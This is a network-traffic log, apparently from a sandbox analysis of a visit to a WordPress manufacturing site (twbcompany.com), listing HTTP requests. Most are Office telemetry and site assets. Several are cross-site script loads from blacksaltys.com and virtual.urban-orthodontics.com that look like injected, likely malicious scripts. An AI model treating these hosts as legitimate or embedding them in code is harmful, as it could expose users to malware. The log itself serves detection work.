Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/logistics-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /products/aluminum-tailor-welded-blanks/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/generic-bg.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twb-video-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-with-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twb-video-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/generic-bg.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-headerless.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
